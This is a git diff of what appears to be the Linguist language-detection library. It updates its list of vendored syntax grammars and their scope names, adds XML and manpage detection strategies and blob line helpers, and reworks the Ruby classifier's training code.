+vendor/grammars/language-basic:
+- source.basic
+vendor/grammars/language-batchfile:
+- source.batchfile
+vendor/grammars/language-bh:
+- source.bh
+vendor/grammars/language-blade:
+- source.gfm.blade
 - text.html.php.blade
-vendor/grammars/language-click/:
+vendor/grammars/language-click:
 - source.click
 vendor/grammars/language-clojure:
 - source.clojure
+vendor/grammars/language-closure-templates:
+- text.html.soy
 vendor/grammars/language-coffee-script:
 - source.coffee
 - source.litcoffee
 vendor/grammars/language-crystal:
 - source.crystal
 - text.html.ecr
-vendor/grammars/language-csharp:
-- source.cake
-- source.cs
-- source.csx
-- source.nant-build
 vendor/grammars/language-csound:
 - source.csound
 - source.csound-document
 - source.csound-score
-vendor/grammars/language-gfm:
-- source.gfm
-vendor/grammars/language-graphql:
-- source.graphql
-vendor/grammars/language-hy:
-- source.hy
+vendor/grammars/language-css:
+- source.css
+vendor/grammars/language-cwl:
+- source.cwl
+vendor/grammars/language-debian:
+- source.deb-control
+- source.debian.makefile
+vendor/grammars/language-dircolors:
+- source.dircolors
+vendor/grammars/language-emacs-lisp:
+- source.emacs.lisp
+- source.yasnippet
+- text.muse
+vendor/grammars/language-eml:
+- text.eml.basic
+vendor/grammars/language-etc:
+- etc
+- injections.etc
+- source.2da
+- source.bc
+- source.c.nwscript
+- source.curlrc
+- source.dc
+- source.direct-x
+- source.dosbox-conf
+- source.dotenv
+- source.futhark
+- source.generic-config
+- source.generic-db
+- source.gitattributes
+- source.gitconfig
+- source.gitignore
+- source.hgignore
+- source.hosts
+- source.ini.npmrc
+- source.inputrc
+- source.lcov
+- source.m4
+- source.mailmap
+- source.man-conf
+- source.nanorc
+- source.neon
+- source.odin-ehr
+- source.openbsd-pkg.contents
+- source.opts
+- source.record-jar
+- source.sexp
+- source.sfv
+- source.shellcheckrc
+- source.sieve
+- source.smpl
+- source.ssh-config
+- source.star
+- source.stl
+- source.string-template
+- source.tags
+- source.ucd.nameslist
+- source.ucd.unidata
+- source.wgetrc
+- text.checksums
+- text.codeowners
+- text.html.ecmarkup
+- text.lesshst
+- text.openbsd-pkg.desc
+- text.savane
+- text.xml.svg
+- text.youtube
+vendor/grammars/language-faust:
+- source.faust
+vendor/grammars/language-fontforge:
+- source.afm
+- source.bdf
+- source.figctrl
+- source.figfont
+- source.fontdir
+- source.fontforge
+- source.fontinfo
+- source.opentype
+- source.stdbez
+- source.xlfd
+- text.sfd
+vendor/grammars/language-gf:
+- source.gf
+vendor/grammars/language-gn:
+- source.gn
+vendor/grammars/language-grammars:
+- source.abnf
+- source.bnf
+- source.ebnf
+- source.goldgrm
+- source.lark
+- source.lbnf
+- source.lex
+- source.lex.regexp
+- source.pegjs
+- source.yacc
+- text.grammarkdown
+vendor/grammars/language-haml:
+- text.haml
+- text.hamlc
+vendor/grammars/language-haskell:
+- annotation.liquidhaskell.haskell
+- hint.haskell
+- hint.message.haskell
+- hint.type.haskell
+- source.c2hs
+- source.cabal
+- source.haskell
+- source.hsc2hs
+- source.hsig
+- text.tex.latex.haskell
+vendor/grammars/language-hocon:
+- source.hocon
+vendor/grammars/language-hql:
+- source.hql
+vendor/grammars/language-html:
+- text.html.basic
+vendor/grammars/language-igor:
+- source.igor
 vendor/grammars/language-inform7:
 - source.inform7
 vendor/grammars/language-javascript:
 - source.js
 - source.js.regexp
 - source.js.regexp.replacement
-vendor/grammars/language-jsoniq/:
+- source.jsdoc
+vendor/grammars/language-jison:
+- source.jison
+- source.jisonlex
+- source.jisonlex-injection
+vendor/grammars/language-jolie:
+- source.jolie
+vendor/grammars/language-jq:
 - source.jq
+vendor/grammars/language-jsoniq:
+- source.jsoniq
 - source.xq
-vendor/grammars/language-less/:
+vendor/grammars/language-jsonnet:
+- source.jsonnet
+vendor/grammars/language-kak:
+- source.kakscript
+vendor/grammars/language-kerboscript:
+- source.kerboscript
+vendor/grammars/language-kickstart:
+- source.kickstart
+vendor/grammars/language-kotlin:
+- source.kotlin
+vendor/grammars/language-less:
 - source.css.less
+vendor/grammars/language-m68k:
+- source.m68k
+vendor/grammars/language-macaulay2:
+- source.m2
 vendor/grammars/language-maxscript:
 - source.maxscript
+vendor/grammars/language-mermaid:
+- source.mermaid
+- source.mermaid.c4c-diagram
+- source.mermaid.class-diagram
+- source.mermaid.er-diagram
+- source.mermaid.flowchart
+- source.mermaid.gantt
+- source.mermaid.gitgraph
+- source.mermaid.mindmap
+- source.mermaid.pie-chart
+- source.mermaid.requirement-diagram
+- source.mermaid.sequence-diagram
+- source.mermaid.state-diagram
+- source.mermaid.user-journey
+vendor/grammars/language-meson:
+- source.meson
+vendor/grammars/language-msl:
+- source.msl
 vendor/grammars/language-ncl:
 - source.ncl
+vendor/grammars/language-ninja:
+- source.ninja
+vendor/grammars/language-nunjucks:
+- source.nunjucks
+- text.html.nunjucks
+vendor/grammars/language-pan:
+- source.pan
+vendor/grammars/language-pcb:
+- source.gerber
+- source.ltspice.symbol
+- source.pcb.board
+- source.pcb.schematic
+- source.pcb.sexp
 vendor/grammars/language-povray:
 - source.pov-ray sdl
-vendor/grammars/language-python:
-- text.python.console
-- text.python.traceback
+vendor/grammars/language-property-list:
+- source.plist
+- text.xml.plist
+vendor/grammars/language-pyret:
+- source.arr
+vendor/grammars/language-qasm:
+- source.qasm
+vendor/grammars/language-reason:
+- source.reason
+- source.reason.hover.type
+vendor/grammars/language-reg:
+- source.reg
+vendor/grammars/language-regexp:
+- hidden.regexp.injection-shell
+- source.regexp
+- source.regexp.extended
+- source.regexp.posix
+- source.sy
 vendor/grammars/language-renpy:
 - source.renpy
 vendor/grammars/language-restructuredtext:
+- text.pseudoxml
 - text.restructuredtext
+vendor/grammars/language-ring:
+- source.ring
 vendor/grammars/language-roff:
+- hidden.manref
+- source.context
+- source.ditroff
+- source.ditroff.desc
+- source.gremlin
+- source.ideal
+- source.pic
 - text.roff
 - text.runoff
+vendor/grammars/language-rpm-spec:
+- source.changelogs.rpm-spec
+- source.rpm-spec
+vendor/grammars/language-rtf:
+- text.rtf
+vendor/grammars/language-ruby:
+- source.ruby
+- source.ruby.gemfile
+- text.html.erb
+vendor/grammars/language-sass:
+- source.css.scss
+- source.sass
+- source.sassdoc
+vendor/grammars/language-sed:
+- source.ed
+- source.sed
 vendor/grammars/language-shellscript:
 - source.shell
 - text.shell-session
+vendor/grammars/language-subtitles:
+- text.srt
+- text.vtt
 vendor/grammars/language-supercollider:
 - source.supercollider
+vendor/grammars/language-texinfo:
+- text.info
+- text.texinfo
+vendor/grammars/language-ti-basic:
+- source.8xp
 vendor/grammars/language-toc-wow:
 - source.toc
+vendor/grammars/language-tsql:
+- source.tsql
 vendor/grammars/language-turing:
 - source.turing
+vendor/grammars/language-typelanguage:
+- source.tl
+vendor/grammars/language-viml:
+- source.vim-snippet
+- source.viml
+- text.vim-help
 vendor/grammars/language-wavefront:
 - source.wavefront.mtl
 - source.wavefront.obj
+vendor/grammars/language-webassembly:
+- source.webassembly
 vendor/grammars/language-xbase:
 - source.harbour
+vendor/grammars/language-xcompose:
+- config.xcompose
 vendor/grammars/language-yaml:
 - source.yaml
-vendor/grammars/language-yang/:
+vendor/grammars/language-yang:
 - source.yang
 vendor/grammars/latex.tmbundle:
 - text.bibtex
@@ -418,9 +823,10 @@ vendor/grammars/latex.tmbundle:
 - text.tex.latex
 - text.tex.latex.beamer
 - text.tex.latex.memoir
-vendor/grammars/lilypond.tmbundle:
+vendor/grammars/linter-lilypond:
 - source.lilypond
-vendor/grammars/liquid.tmbundle:
+vendor/grammars/liquid-tm-grammar:
+- liquid.injection
 - text.html.liquid
 vendor/grammars/lisp.tmbundle:
 - source.lisp
@@ -432,22 +838,32 @@ vendor/grammars/logtalk.tmbundle:
 - source.logtalk
 vendor/grammars/lua.tmbundle:
 - source.lua
+vendor/grammars/m3:
+- source.modula-3
 vendor/grammars/make.tmbundle:
 - source.makefile
 vendor/grammars/mako-tmbundle:
 - text.html.mako
+vendor/grammars/markdown-tm-language:
+- source.mdx
+- text.md
+vendor/grammars/marko-tmbundle:
+- text.marko
 vendor/grammars/mathematica-tmbundle:
 - source.mathematica
-vendor/grammars/matlab.tmbundle:
-- source.matlab
-- source.octave
 vendor/grammars/maven.tmbundle:
 - text.xml.pom
-vendor/grammars/mediawiki.tmbundle/:
+vendor/grammars/mediawiki.tmbundle:
 - text.html.mediawiki
 vendor/grammars/mercury-tmlanguage:
 - source.mercury
-vendor/grammars/monkey/:
+vendor/grammars/mint-vscode:
+- source.mint
+vendor/grammars/mlir-grammar:
+- source.mlir
+vendor/grammars/mojo-syntax:
+- source.mojo
+vendor/grammars/monkey:
 - source.monkey
 vendor/grammars/moonscript-tmbundle:
 - source.moonscript
@@ -455,10 +871,10 @@ vendor/grammars/nemerle.tmbundle:
 - source.nemerle
 vendor/grammars/nesC:
 - source.nesc
-vendor/grammars/ninja.tmbundle:
-- source.ninja
-vendor/grammars/nix:
+vendor/grammars/nix-linguist:
 - source.nix
+vendor/grammars/nu-grammar:
+- source.nushell
 vendor/grammars/nu.tmbundle:
 - source.nu
 vendor/grammars/objective-c.tmbundle:
@@ -475,68 +891,103 @@ vendor/grammars/ooc.tmbundle:
 - source.ooc
 vendor/grammars/opa.tmbundle:
 - source.opa
-vendor/grammars/oz-tmbundle/Syntaxes/Oz.tmLanguage:
+vendor/grammars/openscad.tmbundle:
+- source.scad
+vendor/grammars/oz-tmbundle:
 - source.oz
+vendor/grammars/pact-atom:
+- source.pact
+vendor/grammars/parrot:
+- source.parrot.pir
 vendor/grammars/pascal.tmbundle:
 - source.pascal
-vendor/grammars/pawn-sublime-language/:
+vendor/grammars/pawn-sublime-language:
 - source.pawn
-vendor/grammars/perl.tmbundle/:
+vendor/grammars/perl.tmbundle:
 - source.perl
 - source.perl.6
-vendor/grammars/perl6fe:
-- source.meta-info
-- source.perl6fe
-- source.regexp.perl6fe
 vendor/grammars/php-smarty.tmbundle:
 - text.html.smarty
 vendor/grammars/php.tmbundle:
 - text.html.php
-vendor/grammars/pig-latin/:
+vendor/grammars/pig-latin:
 - source.pig_latin
 vendor/grammars/pike-textmate:
 - source.pike
-vendor/grammars/postscript.tmbundle:
-- source.postscript
+vendor/grammars/pkl.tmbundle:
+- source.pkl
+vendor/grammars/polar-grammar:
+- source.polar
+vendor/grammars/portugol-grammar:
+- source.portugol
 vendor/grammars/powershell:
 - source.powershell
+vendor/grammars/praatvscode:
+- source.praat
+- source.textgrid
 vendor/grammars/processing.tmbundle:
 - source.processing
-vendor/grammars/protobuf-tmbundle:
-- source.protobuf
 vendor/grammars/python-django.tmbundle:
 - source.python.django
 - text.html.django
+vendor/grammars/qsharp:
+- source.qsharp
+vendor/grammars/quake:
+- source.quake
 vendor/grammars/r.tmbundle:
 - source.r
 - text.tex.latex.rd
-vendor/grammars/ruby-haml.tmbundle:
-- text.haml
+vendor/grammars/rascal-syntax-highlighting:
+- source.rascal
+vendor/grammars/razor-plus:
+- text.html.cshtml
+vendor/grammars/rescript-vscode:
+- markdown.rescript.codeblock
+- source.rescript
+vendor/grammars/rez.tmbundle:
+- source.rez
+vendor/grammars/riot-syntax-highlight:
+- text.html.riot
+vendor/grammars/roc-vscode-unofficial:
+- source.roc
 vendor/grammars/ruby-slim.tmbundle:
 - text.slim
-vendor/grammars/ruby.tmbundle:
-- source.ruby
-- text.html.erb
+vendor/grammars/rust-syntax:
+- source.rust
 vendor/grammars/sas.tmbundle:
-- source.SASLog
 - source.sas
-vendor/grammars/sass-textmate-bundle:
-- source.sass
-vendor/grammars/scala.tmbundle:
-- source.sbt
-- source.scala
 vendor/grammars/scheme.tmbundle:
 - source.scheme
 vendor/grammars/scilab.tmbundle:
 - source.scilab
-vendor/grammars/smali-sublime/smali.tmLanguage:
+vendor/grammars/secondlife-lsl:
+- source.lsl
+vendor/grammars/selinux-policy-languages:
+- source.cil
+- source.sepolicy
+vendor/grammars/shaders-tmLanguage:
+- source.hlsl
+- source.shaderlab
+vendor/grammars/slint-tmLanguage:
+- source.slint
+vendor/grammars/smali-sublime:
 - source.smali
 vendor/grammars/smalltalk-tmbundle:
 - source.smalltalk
-vendor/grammars/sourcepawn/:
-- source.sp
+vendor/grammars/smithy-vscode:
+- source.smithy
+vendor/grammars/sourcepawn-vscode:
+- source.amxxpawn
+- source.sourcepawn
+- sp-jsdoc.injection
+- text.valve-cfg
+- text.valve-kv
+vendor/grammars/sprocket-vscode:
+- source.wdl
 vendor/grammars/sql.tmbundle:
 - source.sql
+vendor/grammars/squirrel-language:
+- source.nut
 vendor/grammars/st2-zonefile:
 - text.zone_file
 vendor/grammars/standard-ml.tmbundle:
@@ -544,85 +995,302 @@ vendor/grammars/standard-ml.tmbundle:
 - source.ml
 vendor/grammars/sublime-MuPAD:
 - source.mupad
-vendor/grammars/sublime-aspectj/:
+vendor/grammars/sublime-angelscript:
+- source.angelscript
+vendor/grammars/sublime-aspectj:
 - source.aspectj
-vendor/grammars/sublime-autoit/:
+vendor/grammars/sublime-autoit:
 - source.autoit
 vendor/grammars/sublime-befunge:
 - source.befunge
+vendor/grammars/sublime-boo:
+- source.boo
 vendor/grammars/sublime-bsv:
 - source.bsv
 vendor/grammars/sublime-cirru:
 - source.cirru
-vendor/grammars/sublime-clips/:
+vendor/grammars/sublime-clips:
 - source.clips
+vendor/grammars/sublime-cypher:
+- source.cypher
+vendor/grammars/sublime-fantom:
+- source.fan
 vendor/grammars/sublime-glsl:
 - source.essl
 - source.glsl
-vendor/grammars/sublime-golo/:
+vendor/grammars/sublime-golo:
 - source.golo
 vendor/grammars/sublime-mask:
 - source.mask
+vendor/grammars/sublime-nearley:
+- source.ne
 vendor/grammars/sublime-netlinx:
 - source.netlinx
 - source.netlinx.erb
 vendor/grammars/sublime-nginx:
 - source.nginx
-vendor/grammars/sublime-opal/:
+vendor/grammars/sublime-odin:
+- source.odin
+vendor/grammars/sublime-opal:
 - source.opal
 - source.opalsysdefs
 vendor/grammars/sublime-pony:
 - source.pony
+vendor/grammars/sublime-promela-spin:
+- source.promela
+vendor/grammars/sublime-q:
+- source.q
+- source.q_output
+vendor/grammars/sublime-rexx:
+- source.rexx
 vendor/grammars/sublime-robot-plugin:
 - text.robot
-vendor/grammars/sublime-rust:
-- source.rust
-vendor/grammars/sublime-spintools/:
+vendor/grammars/sublime-shen:
+- source.shen
+vendor/grammars/sublime-spintools:
 - source.regexp.spin
 - source.spin
 vendor/grammars/sublime-tea:
 - source.tea
 vendor/grammars/sublime-terra:
 - source.terra
-vendor/grammars/sublime-text-ox/:
+vendor/grammars/sublime-text-ox:
 - source.ox
-vendor/grammars/sublime-typescript/:
-- source.ts
-- source.tsx
 vendor/grammars/sublime-varnish:
 - source.varnish.vcl
-vendor/grammars/sublime_cobol:
-- source.acucobol
-- source.cobol
-- source.jcl
-- source.opencobol
-vendor/grammars/sublimeassembly/:
+vendor/grammars/sublime-zig-language:
+- source.zig
+vendor/grammars/sublimeassembly:
 - source.assembly
-vendor/grammars/sublimeprolog/:
+vendor/grammars/sublimeprolog:
 - source.prolog
 - source.prolog.eclipse
 vendor/grammars/sublimetext-cuda-cpp:
 - source.cuda-c++
-vendor/grammars/swift.tmbundle:
+vendor/grammars/sublimetext-nasl:
+- source.nasl
+- source.tnsaudit
+vendor/grammars/svelte-atom:
+- source.svelte
+vendor/grammars/sway-vscode-plugin:
+- source.sway
+vendor/grammars/sweave.tmbundle:
+- text.tex.latex.sweave
+vendor/grammars/swift-tmlanguage:
 - source.swift
+vendor/grammars/syntax:
+- source.hcl
+- source.hcl.terraform
+- source.sentinel
+vendor/grammars/syntax-mcfunction:
+- source.mcfunction
 vendor/grammars/tcl.tmbundle:
 - source.tcl
 - text.html.tcl
+vendor/grammars/templ-vscode:
+- source.templ
+vendor/grammars/textmate.tmbundle:
+- source.regexp.oniguruma
+- source.tm-properties
+- textmate.format-string
+vendor/grammars/textproto-grammar:
+- markdown.textproto.codeblock
+- source.textproto
 vendor/grammars/thrift.tmbundle:
 - source.thrift
+vendor/grammars/tlv-vscode:
+- source.tlverilog
 vendor/grammars/toml.tmbundle:
 - source.toml
 vendor/grammars/turtle.tmbundle:
 - source.sparql
 - source.turtle
+vendor/grammars/typst-grammar:
+- source.typst
 vendor/grammars/verilog.tmbundle:
 - source.verilog
+vendor/grammars/vhdl:
+- source.vhdl
+vendor/grammars/vsc-ember-syntax:
+- inline.hbs
+- inline.template
+- markdown.glimmer.codeblock
+- source.gjs
+- source.gts
+- text.html.ember-handlebars
+vendor/grammars/vsc-fennel:
+- source.fnl
+vendor/grammars/vscode-TalonScript:
+- markdown.talon.codeblock
+- source.talon
+vendor/grammars/vscode-antlers-language-server:
+- text.html.statamic
+vendor/grammars/vscode-bitbake:
+- source.bb
+vendor/grammars/vscode-brightscript-language:
+- source.brs
+vendor/grammars/vscode-caddyfile:
+- source.Caddyfile
+- source.Caddyfile-test
+- source.markdown.caddy.codeblock
+vendor/grammars/vscode-cadence:
+- markdown.cadence.codeblock
+- source.cadence
+vendor/grammars/vscode-codeql:
+- source.ql
+vendor/grammars/vscode-cue:
+- source.cue
+vendor/grammars/vscode-curry:
+- markdown.curry.codeblock
+- source.curry
+- source.icurry
+vendor/grammars/vscode-dune:
+- source.dune
+vendor/grammars/vscode-euphoria:
+- source.euphoria
+vendor/grammars/vscode-fluent:
+- source.ftl
+vendor/grammars/vscode-gcode-syntax:
+- source.gcode
+vendor/grammars/vscode-gedcom:
+- source.gedcom
+vendor/grammars/vscode-gleam:
+- markdown.gleam.codeblock
+- source.gleam
+vendor/grammars/vscode-go:
+- go.mod
+- go.sum
+vendor/grammars/vscode-hack:
+- markdown.hack.codeblock
+- source.hack
+vendor/grammars/vscode-hy:
+- source.hy
+vendor/grammars/vscode-ibmi-languages:
+- source.bnd
+- source.cl
+- source.cmd
+- source.dds.dspf
+- source.dds.icff
+- source.dds.lf
+- source.dds.pf
+- source.dds.prtf
+- source.mi
+- source.pnlgrp
+- source.rpg
+- source.rpgle
+vendor/grammars/vscode-janet:
+- source.janet
+vendor/grammars/vscode-jest:
+- source.jest.snap
+vendor/grammars/vscode-just:
+- source.just
+vendor/grammars/vscode-lean:
+- markdown.lean.codeblock
+- source.lean
+- source.lean.markdown
+vendor/grammars/vscode-lean4:
+- markdown.lean4.codeblock
+- source.lean4
+- source.lean4.markdown
+vendor/grammars/vscode-livecodescript:
+- source.lcb
+- source.livecodescript
+vendor/grammars/vscode-monkey-c:
+- source.mc
+vendor/grammars/vscode-motoko:
+- source.did
+- source.mo
+vendor/grammars/vscode-move-syntax:
+- markdown.move.codeblock
+- mdx.move.codeblock
+- source.move
+vendor/grammars/vscode-noir:
+- source.nr
+vendor/grammars/vscode-opa:
+- markdown.rego.codeblock
+- source.rego
+vendor/grammars/vscode-pddl:
+- source.pddl
+- source.pddl.happenings
+- source.pddl.plan
+vendor/grammars/vscode-plantuml:
+- markdown.plantuml.codeblock
+- source.wsd
+vendor/grammars/vscode-prisma:
+- inline.prisma
+- markdown.prisma.codeblock
+- source.prisma
+- source.ts.prismaClientRawSQL
+vendor/grammars/vscode-procfile:
+- source.procfile
+vendor/grammars/vscode-proto3:
+- markdown.codeblock.proto
+- source.proto
+vendor/grammars/vscode-python:
+- source.pip-requirements
+vendor/grammars/vscode-rbs-syntax:
+- source.rbs
+vendor/grammars/vscode-ron:
+- source.ron
+vendor/grammars/vscode-scala-syntax:
+- source.scala
+vendor/grammars/vscode-singularity:
+- source.singularity
+vendor/grammars/vscode-slice:
+- source.ice
+- source.slice
+vendor/grammars/vscode-vba:
+- source.vba
+- source.wwb
+vendor/grammars/vscode-vcard:
+- source.vcard
+vendor/grammars/vscode-vlang:
+- source.v
+vendor/grammars/vscode-wit:
+- source.wit
+vendor/grammars/vscode-wren:
+- source.wren
+vendor/grammars/vscode-yara:
+- source.yara
+vendor/grammars/vscode-zil-language:
+- source.zap
+- source.zil
+vendor/grammars/vscode_cobol:
+- source.acucobol
+- source.bms
+- source.bmsmap
+- source.cobol
+- source.cobol_acu_listfile
+- source.cobol_mf_listfile
+- source.cobol_mfprep
+- source.cobol_pcob_listfile
+- source.cobolit
+- source.cobsql_dir
+- source.dir
+- source.directivesmf
+- source.hlasm
+- source.jcl
+- source.mfu
+- source.mfupp_dir
+- source.pli
+- source.rmcobol
+- source.utreport
+vendor/grammars/vscode_mikrotik_routeros_script:
+- source.rsc
 vendor/grammars/vue-syntax-highlight:
 - text.html.vue
-vendor/grammars/xc.tmbundle/:
+vendor/grammars/wgsl-analyzer:
+- source.wgsl
+vendor/grammars/witcherscript-grammar:
+- source.witcherscript
+vendor/grammars/wollok-sublime:
+- source.wollok
+vendor/grammars/xc.tmbundle:
 - source.xc
 vendor/grammars/xml.tmbundle:
 - text.xml
 - text.xml.xsl
+vendor/grammars/zeek-sublime:
+- source.zeek
 vendor/grammars/zephir-sublime:
 - source.php.zephir
diff --git a/lib/linguist.rb b/lib/linguist.rb
index 544bb250a2..99a4cfa517 100644
--- a/lib/linguist.rb
+++ b/lib/linguist.rb
@@ -7,6 +7,8 @@
 require 'linguist/samples'
 require 'linguist/shebang'
 require 'linguist/version'
+require 'linguist/strategy/manpage'
+require 'linguist/strategy/xml'
 
 class << Linguist
   # Public: Detects the Language of the blob.
@@ -15,9 +17,9 @@ class << Linguist
   #       see Linguist::LazyBlob and Linguist::FileBlob for examples
   #
   # Returns Language or nil.
-  def detect(blob)
+  def detect(blob, allow_empty: false)
     # Bail early if the blob is binary or empty.
-    return nil if blob.likely_binary? || blob.binary? || blob.empty?
+    return nil if blob.likely_binary? || blob.binary? || (!allow_empty && blob.empty?)
 
     Linguist.instrument("linguist.detection", :blob => blob) do
       # Call each strategy until one candidate is returned.
@@ -52,15 +54,18 @@ def detect(blob)
   #
   #   blob - An object that quacks like a blob.
   #   languages - An Array of candidate Language objects that were returned by the
-  #               previous strategy.
+  #               previous strategy.
   #
   # A strategy should return an Array of Language candidates.
   #
   # Strategies are called in turn until a single Language is returned.
   STRATEGIES = [
     Linguist::Strategy::Modeline,
-    Linguist::Shebang,
     Linguist::Strategy::Filename,
+    Linguist::Shebang,
+    Linguist::Strategy::Extension,
+    Linguist::Strategy::XML,
+    Linguist::Strategy::Manpage,
     Linguist::Heuristics,
     Linguist::Classifier
   ]
@@ -73,7 +78,7 @@ def detect(blob)
   #       end
   #     end
   #
-  #     Linguist.instrumenter = CustomInstrumenter
+  #     Linguist.instrumenter = CustomInstrumenter.new
   #
   # The instrumenter must conform to the `ActiveSupport::Notifications`
   # interface, which defines `#instrument` and accepts:
diff --git a/lib/linguist/VERSION b/lib/linguist/VERSION
new file mode 100644
index 0000000000..cd1d2e94f3
--- /dev/null
+++ b/lib/linguist/VERSION
@@ -0,0 +1 @@
+8.0.1
diff --git a/lib/linguist/blob.rb b/lib/linguist/blob.rb
index dc0cf2acf7..617e56b19d 100644
--- a/lib/linguist/blob.rb
+++ b/lib/linguist/blob.rb
@@ -11,11 +11,13 @@ class Blob
     #
     # path    - A path String (does not necessarily exists on the file system).
     # content - Content of the file.
+    # symlink - Whether the file is a symlink.
     #
     # Returns a Blob.
-    def initialize(path, content)
+    def initialize(path, content, symlink: false)
       @path = path
       @content = content
+      @symlink = symlink
     end
 
     # Public: Filename
@@ -63,11 +65,18 @@ def extension
     #
     # Returns an Array
     def extensions
-      _, *segments = name.downcase.split(".")
+      _, *segments = name.downcase.split(".", -1)
 
       segments.map.with_index do |segment, index|
         "." + segments[index..-1].join(".")
       end
     end
+
+    # Public: Is this a symlink?
+    #
+    # Returns true or false.
+    def symlink?
+      @symlink
+    end
   end
 end
diff --git a/lib/linguist/blob_helper.rb b/lib/linguist/blob_helper.rb
index a1565646e4..57aa5a20c4 100644
--- a/lib/linguist/blob_helper.rb
+++ b/lib/linguist/blob_helper.rb
@@ -1,7 +1,7 @@
 require 'linguist/generated'
+require 'cgi'
 require 'charlock_holmes'
-require 'escape_utils'
-require 'mime/types'
+require 'mini_mime'
 require 'yaml'
 
 module Linguist
@@ -26,19 +26,14 @@ def extname
       File.extname(name.to_s)
     end
 
-    # Internal: Lookup mime type for extension.
+    # Internal: Lookup mime type for filename.
     #
     # Returns a MIME::Type
     def _mime_type
       if defined? @_mime_type
         @_mime_type
       else
-        guesses = ::MIME::Types.type_for(extname.to_s)
-
-        # Prefer text mime types over binary
-        @_mime_type = guesses.detect { |type| type.ascii? } ||
-          # Otherwise use the first guess
-          guesses.first
+        @_mime_type = MiniMime.lookup_by_filename(name.to_s)
       end
     end
 
@@ -51,7 +46,7 @@ def _mime_type
     #
     # Returns a mime type String.
     def mime_type
-      _mime_type ? _mime_type.to_s : 'text/plain'
+      _mime_type ? _mime_type.content_type : 'text/plain'
     end
 
     # Internal: Is the blob binary according to its mime type
@@ -99,7 +94,7 @@ def disposition
       elsif name.nil?
         "attachment"
       else
-        "attachment; filename=#{EscapeUtils.escape_url(name)}"
+        "attachment; filename=#{CGI.escape(name)}"
       end
     end
 
@@ -275,10 +270,10 @@ def lines
           # also--importantly--without having to duplicate many (potentially
           # large) strings.
           begin
-            encoded_newlines = ["\r\n", "\r", "\n"].
-              map { |nl| nl.encode(ruby_encoding, "ASCII-8BIT").force_encoding(data.encoding) }
-
-            data.split(Regexp.union(encoded_newlines), -1)
+            # `data` is split after having its last `\n` removed by
+            # chomp (if any). This prevents the creation of an empty
+            # element after the final `\n` character on POSIX files.
+            data.chomp.split(encoded_newlines_re, -1)
           rescue Encoding::ConverterNotFoundError
             # The data is not splittable in the detected encoding.  Assume it's
             # one big line.
@@ -289,6 +284,51 @@ def lines
         end
     end
 
+    def encoded_newlines_re
+      @encoded_newlines_re ||= Regexp.union(["\r\n", "\r", "\n"].
+                                              map { |nl| nl.encode(ruby_encoding, "ASCII-8BIT").force_encoding(data.encoding) })
+
+    end
+
+    def first_lines(n)
+      return lines[0...n] if defined? @lines
+      return [] unless viewable? && data
+
+      i, c = 0, 0
+      while c < n && j = data.index(encoded_newlines_re, i)
+        i = j + $&.length
+        c += 1
+      end
+      data[0...i].split(encoded_newlines_re, -1)
+    end
+
+    def last_lines(n)
+      if defined? @lines
+        if n >= @lines.length
+          @lines
+        else
+          lines[-n..-1]
+        end
+      end
+      return [] unless viewable? && data
+
+      no_eol = true
+      i, c = data.length, 0
+      k = i
+      while c < n && j = data.rindex(encoded_newlines_re, i - 1)
+        if c == 0 && j + $&.length == i
+          no_eol = false
+          n += 1
+        end
+        i = j
+        k = j + $&.length
+        c += 1
+      end
+      r = data[k..-1].split(encoded_newlines_re, -1)
+      r.pop if !no_eol
+      r
+    end
+
     # Public: Get number of lines of code
     #
     # Requires Blob#data
@@ -340,7 +380,10 @@ def include_in_language_stats?
       !vendored? &&
       !documentation? &&
       !generated? &&
-      language && DETECTABLE_TYPES.include?(language.type)
+      language && ( defined?(detectable?) && !detectable?.nil? ?
+        detectable? :
+        DETECTABLE_TYPES.include?(language.type)
+      )
     end
   end
 end
diff --git a/lib/linguist/classifier.rb b/lib/linguist/classifier.rb
index 89a0df2fb4..b7c5ffa35c 100644
--- a/lib/linguist/classifier.rb
+++ b/lib/linguist/classifier.rb
@@ -1,8 +1,14 @@
 require 'linguist/tokenizer'
+require 'set'
 
 module Linguist
-  # Language bayesian classifier.
+  # Language content classifier.
   class Classifier
+    # Maximum number of bytes to consider for classification.
+    # This is only used at evaluation time. During training, full content of
+    # samples is used.
+    CLASSIFIER_CONSIDER_BYTES = 50 * 1024
+
     # Public: Use the classifier to detect language of the blob.
     #
     # blob               - An object that quacks like a blob.
@@ -17,7 +23,7 @@ class Classifier
     # Returns an Array of Language objects, most probable first.
     def self.call(blob, possible_languages)
       language_names = possible_languages.map(&:name)
-      classify(Samples.cache, blob.data, language_names).map do |name, _|
+      classify(Samples.cache, blob.data[0...CLASSIFIER_CONSIDER_BYTES], language_names).map do |name, _|
         Language[name] # Return the actual Language objects
       end
     end
@@ -26,40 +32,62 @@ def self.call(blob, possible_languages)
     #
     # db       - Hash classifier database object
     # language - String language of data
-    # data     - String contents of file
+    # data     - String contents of file or array of tokens.
     #
     # Examples
     #
-    #   Classifier.train(db, 'Ruby', "def hello; end")
+    #   Classifier.train!(db, 'Ruby', "def hello; end")
     #
-    # Returns nothing.
+    # Returns nil.
     #
-    # Set LINGUIST_DEBUG=1 or =2 to see probabilities per-token or
-    # per-language.  See also #dump_all_tokens, below.
+    # Set LINGUIST_DEBUG=1, =2 or =3 to print internal statistics.
     def self.train!(db, language, data)
-      tokens = Tokenizer.tokenize(data)
-
-      db['tokens_total'] ||= 0
-      db['languages_total'] ||= 0
-      db['tokens'] ||= {}
-      db['language_tokens'] ||= {}
-      db['languages'] ||= {}
-
-      tokens.each do |token|
-        db['tokens'][language] ||= {}
-        db['tokens'][language][token] ||= 0
-        db['tokens'][language][token] += 1
-        db['language_tokens'][language] ||= 0
-        db['language_tokens'][language] += 1
-        db['tokens_total'] += 1
-      end
-      db['languages'][language] ||= 0
-      db['languages'][language] += 1
-      db['languages_total'] += 1
+      tokens = data
+      tokens = Tokenizer.tokenize(tokens) if tokens.is_a?(String)
+
+      db['vocabulary'] ||= {}
+      # Set hash to autoincremented index value
+      if db['vocabulary'].default_proc.nil?
+        db['vocabulary'].default_proc = proc do |hash, key|
+          hash[key] = hash.length
+        end
+      end
+
+      db['samples'] ||= {}
+      db['samples'][language] ||= []
+
+      termfreq = to_vocabulary_index_termfreq(db['vocabulary'], tokens)
+      db['samples'][language] << termfreq
 
       nil
     end
 
+    # Public: Finalize training.
+    #
+    # db - Hash classifier database object
+    #
+    # Examples:
+    #   Classifier.finalize_train!(db)
+    #
+    # Returns nil.
+    #
+    # This method must be called after the last #train! call.
+    def self.finalize_train!(db)
+      db['vocabulary'] ||= {}
+
+      # Unset hash autoincrement
